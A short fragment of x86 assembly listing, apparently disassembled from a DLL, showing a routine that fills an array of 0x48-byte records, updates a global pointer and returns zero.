jle 0x10002707
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x100026de
mov eax, dword [0x100199ec]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x100025ae
xor eax, eax
mov esp, ebp
pop ebp
ret